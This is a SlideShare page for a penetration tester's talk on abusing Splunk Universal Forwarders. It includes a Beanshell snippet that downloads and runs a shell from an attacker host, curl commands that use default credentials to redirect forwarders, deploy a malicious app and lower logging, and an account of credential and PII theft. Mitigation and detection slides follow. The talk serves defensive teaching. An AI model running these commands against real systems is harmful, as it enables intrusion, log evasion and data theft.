SlideShare a Scribd company logo

Splunk: Forward me the REST of those shells

•Download as PPTX, PDF•
•
A
Anthony D Hendricks

Splunk forwarders were used to gain initial access to a network by exploiting their default credentials and REST API. This allowed deploying a malicious app that provided a shell. The shell was then used to pillage other systems by abusing credentials and data found in Chef scripts and GitHub repositories. Mitigations include changing default credentials, disabling the REST API on forwarders, improving logging and monitoring for unusual app deployments, using TLS for deployment server communications, and running Splunk in a less privileged manner.

1 of 30
Splunk: Forward me the REST of those shells
Introduction
Anthony Hendricks • I break things for a living • Penetration Tester at Defense Point Security • Disclaimer: • This talk is my own work and may not necessarily reflect the views of my employer. This is not intended to shame any companies mentioned, instead focus the importance of good application deployment and installation procedures
Some Splunk Background •For those not familiar •Splunk is a logging platform/SIEM •Typically uses agents called ”Universal Forwarders” (aka Forwarders) for sending •Forwarders can be configured • Manually via config files • Via deployment server
Splunk: Forward me the REST of those shells
Setting the Stage •Pentesting a web application •Well secured, modern coding practices •JS-heavy, not much dynamic content •Until…..
The Pentest Begins • Discovered Adobe Livecycle • Adobe kindly provides a scripting interface for all of their applications
Some Java/Beanshell Code import java.lang.*; import java.util.*; import java.io.*; import java.net.*; String[] cmd = {"/usr/bin/wget", "http://<IP>/evilShell"}; Runtime.getRuntime().exec(cmd); exec("/bin/chmod 700 evilShell"); String[] cmd = {"/bin/sh", "-c", "evilShell"}; Runtime.getRuntime().exec(cmd);
Shell • So I have my shell • Now what? • Limited to the jboss user (no root dance yet) • Hardened/patched OS (RHEL) • One simple oversight:
Blue Team Turned Evil? • How can I use this? • Assemble the brain-trust!
Default Creds Again? • The Splunk Universal Forwarder still had default credentials • Known issue, Splunk restricted the REST API to localhost only when default credentials were used • admin // changeme
Curl to the Rescue •Step 1: •Test hypothesis curl -u "admin:changeme" -k https://127.0.0.1:8089/services/deployment/client • Returns <s:key name="targetUri">10.0.1.20:8089</s:key>
Abusing Splunk for Fun and Profit •Step 2 •Set up my own Deployment server
Splunk TA-Shell •Step 3 •Write some code (or borrow it)
The Hard Way •Step 4 •Direct the UF to the new deployment server curl -u "admin:changeme" -k "https://127.0.0.1:8089/services/deployment/client/conf" -d targetUri='<IP>:<port>' curl -u "admin:changeme" -k "https://127.0.0.1:8089/services/server/control/restart" –d ‘’
App Deployment •Step 5 •Deploy the new app •Takes up to 5 minutes to check in and deploy
Then We Wait •Step 6 •Profit!
Abusing Splunk for Fun and Profit • In this particular instance, once I had root I was able to pillage all of the Chef scripts for credentials and github repositories • Result • Complete exploitation of every server in the network • S3 access (encrypted PII) • Reverse engineered the web application to discover encryption key storage • Fully decrypted PII, ability to change, delete
Long Story Short
The Easy Way •It just keeps getting better: •Deploy your app without an evil deployment server •POST the file and deploy with one command •curl -k -u admin:changeme "https://localhost:8090/services/apps/local" -d filename=1 -d name=/path/to/evilapp.tgz
What About Logging? • Internal logging by the forwarder is complex • AuditLogger - Audit:[timestamp=06-03-2017 09:19:00.136, user=admin, action=login attempt, info=succeeded, src=127.0.0.1][n/a] • REST can change logging levels too • curl -k -u admin:changeme https://localhost:8090/servicesNS/nobody/system/admin/l ogger/HTTPAccess -d 'level=ERROR’
Mitigations: Default Creds •Change them! •Make them hard to guess •99% of the time you don’t even need to know them •If you need Forwarder credentials •Remove $SPLUNK_HOME/etc/passwd, and restart Splunk
Mitigations: REST API •Forwarders don’t need the REST API • Indexers and Search Heads usually do (YMMV) • Best practice: disable the REST API entirely on Forwarders • https://github.com/georgestarcher/UF-TA-killrest •Known issue for Splunk • REST API is restricted to 127.0.0.1 if the credentials are default
Mitigations: Detection •Log and alert on Splunk metadata events • Watch for forwarders failing to check in • Changes via REST are logged and forwarded • Lots of artifacts left by this technique • Hard to find and squash before it gets shipped to the indexers index=_internal sourcetype=splunkd DeployedApplication Downloaded url!=<deployment server here>
Mitigation: Extended Logging Props.conf: [source::.../var/log/splunk/audit.log(.d+)?] TRANSFORMS = send_to_underscore_audit Transforms.conf: [send_to_underscore_audit] MV_ADD = true DEST_KEY = _MetaData:Index REGEX = . FORMAT = _audit
Extended Logging Example 03-14-2018 09:02:05.747 -0500 INFO AuditLogger - Audit:[timestamp=03-14-2018 09:02:05.747, user=admin, action=edit_server, info=granted object="HTTPAccess" operation=edit][n/a]
Mitigations: TLS • Force all Deployment Server communications to use properly validated TLS certificates • Won’t stop the fake Deployment Server attack but makes it a lot more difficult • Encrypted Command and Control is just good practice
Mitigations: Run Unprivileged • Most difficult • Requires all forwarded logs to be readable by Splunk user • SELinux may cause problems • Not always effective • Splunk User runas config option was available to unprivileged Splunk user • Splunk services start as root, then forks to assigned user • https://www.splunk.com/view/SP-CAAAP3M • Lock down splunk-launch.conf
Forwarder Hardening Guide • https://github.com/MattUebel/splunk_UF_hardening 1. Changing Service Account 2. Changing Credentials 3. Disabling REST Port 4. Deployment Server Hardening/Monitoring 5. SSL
Questions? • Thanks to: • Duane Waddle (duckfez) • Matt Uebel (@muebel) • George Starcher (@georgestarcher) • Jason Ashbaugh (@techxicologist)

More Related Content

Splunk: Forward me the REST of those shells

  • 1. Splunk: Forward me the REST of those shells
  • 3. Anthony Hendricks • I break things for a living • Penetration Tester at Defense Point Security • Disclaimer: • This talk is my own work and may not necessarily reflect the views of my employer. This is not intended to shame any companies mentioned, instead focus the importance of good application deployment and installation procedures
  • 4. Some Splunk Background •For those not familiar •Splunk is a logging platform/SIEM •Typically uses agents called ”Universal Forwarders” (aka Forwarders) for sending •Forwarders can be configured • Manually via config files • Via deployment server
  • 6. Setting the Stage •Pentesting a web application •Well secured, modern coding practices •JS-heavy, not much dynamic content •Until…..
  • 7. The Pentest Begins • Discovered Adobe Livecycle • Adobe kindly provides a scripting interface for all of their applications
  • 8. Some Java/Beanshell Code import java.lang.*; import java.util.*; import java.io.*; import java.net.*; String[] cmd = {"/usr/bin/wget", "http://<IP>/evilShell"}; Runtime.getRuntime().exec(cmd); exec("/bin/chmod 700 evilShell"); String[] cmd = {"/bin/sh", "-c", "evilShell"}; Runtime.getRuntime().exec(cmd);
  • 9. Shell • So I have my shell • Now what? • Limited to the jboss user (no root dance yet) • Hardened/patched OS (RHEL) • One simple oversight:
  • 10. Blue Team Turned Evil? • How can I use this? • Assemble the brain-trust!
  • 11. Default Creds Again? • The Splunk Universal Forwarder still had default credentials • Known issue, Splunk restricted the REST API to localhost only when default credentials were used • admin // changeme
  • 12. Curl to the Rescue •Step 1: •Test hypothesis curl -u "admin:changeme" -k https://127.0.0.1:8089/services/deployment/client • Returns <s:key name="targetUri">10.0.1.20:8089</s:key>
  • 13. Abusing Splunk for Fun and Profit •Step 2 •Set up my own Deployment server
  • 14. Splunk TA-Shell •Step 3 •Write some code (or borrow it)
  • 15. The Hard Way •Step 4 •Direct the UF to the new deployment server curl -u "admin:changeme" -k "https://127.0.0.1:8089/services/deployment/client/conf" -d targetUri='<IP>:<port>' curl -u "admin:changeme" -k "https://127.0.0.1:8089/services/server/control/restart" –d ‘’
  • 16. App Deployment •Step 5 •Deploy the new app •Takes up to 5 minutes to check in and deploy
  • 17. Then We Wait •Step 6 •Profit!
  • 18. Abusing Splunk for Fun and Profit • In this particular instance, once I had root I was able to pillage all of the Chef scripts for credentials and github repositories • Result • Complete exploitation of every server in the network • S3 access (encrypted PII) • Reverse engineered the web application to discover encryption key storage • Fully decrypted PII, ability to change, delete
  • 20. The Easy Way •It just keeps getting better: •Deploy your app without an evil deployment server •POST the file and deploy with one command •curl -k -u admin:changeme "https://localhost:8090/services/apps/local" -d filename=1 -d name=/path/to/evilapp.tgz
  • 21. What About Logging? • Internal logging by the forwarder is complex • AuditLogger - Audit:[timestamp=06-03-2017 09:19:00.136, user=admin, action=login attempt, info=succeeded, src=127.0.0.1][n/a] • REST can change logging levels too • curl -k -u admin:changeme https://localhost:8090/servicesNS/nobody/system/admin/l ogger/HTTPAccess -d 'level=ERROR’
  • 22. Mitigations: Default Creds •Change them! •Make them hard to guess •99% of the time you don’t even need to know them •If you need Forwarder credentials •Remove $SPLUNK_HOME/etc/passwd, and restart Splunk
  • 23. Mitigations: REST API •Forwarders don’t need the REST API • Indexers and Search Heads usually do (YMMV) • Best practice: disable the REST API entirely on Forwarders • https://github.com/georgestarcher/UF-TA-killrest •Known issue for Splunk • REST API is restricted to 127.0.0.1 if the credentials are default
  • 24. Mitigations: Detection •Log and alert on Splunk metadata events • Watch for forwarders failing to check in • Changes via REST are logged and forwarded • Lots of artifacts left by this technique • Hard to find and squash before it gets shipped to the indexers index=_internal sourcetype=splunkd DeployedApplication Downloaded url!=<deployment server here>
  • 25. Mitigation: Extended Logging Props.conf: [source::.../var/log/splunk/audit.log(.d+)?] TRANSFORMS = send_to_underscore_audit Transforms.conf: [send_to_underscore_audit] MV_ADD = true DEST_KEY = _MetaData:Index REGEX = . FORMAT = _audit
  • 26. Extended Logging Example 03-14-2018 09:02:05.747 -0500 INFO AuditLogger - Audit:[timestamp=03-14-2018 09:02:05.747, user=admin, action=edit_server, info=granted object="HTTPAccess" operation=edit][n/a]
  • 27. Mitigations: TLS • Force all Deployment Server communications to use properly validated TLS certificates • Won’t stop the fake Deployment Server attack but makes it a lot more difficult • Encrypted Command and Control is just good practice
  • 28. Mitigations: Run Unprivileged • Most difficult • Requires all forwarded logs to be readable by Splunk user • SELinux may cause problems • Not always effective • Splunk User runas config option was available to unprivileged Splunk user • Splunk services start as root, then forks to assigned user • https://www.splunk.com/view/SP-CAAAP3M • Lock down splunk-launch.conf
  • 29. Forwarder Hardening Guide • https://github.com/MattUebel/splunk_UF_hardening 1. Changing Service Account 2. Changing Credentials 3. Disabling REST Port 4. Deployment Server Hardening/Monitoring 5. SSL
  • 30. Questions? • Thanks to: • Duane Waddle (duckfez) • Matt Uebel (@muebel) • George Starcher (@georgestarcher) • Jason Ashbaugh (@techxicologist)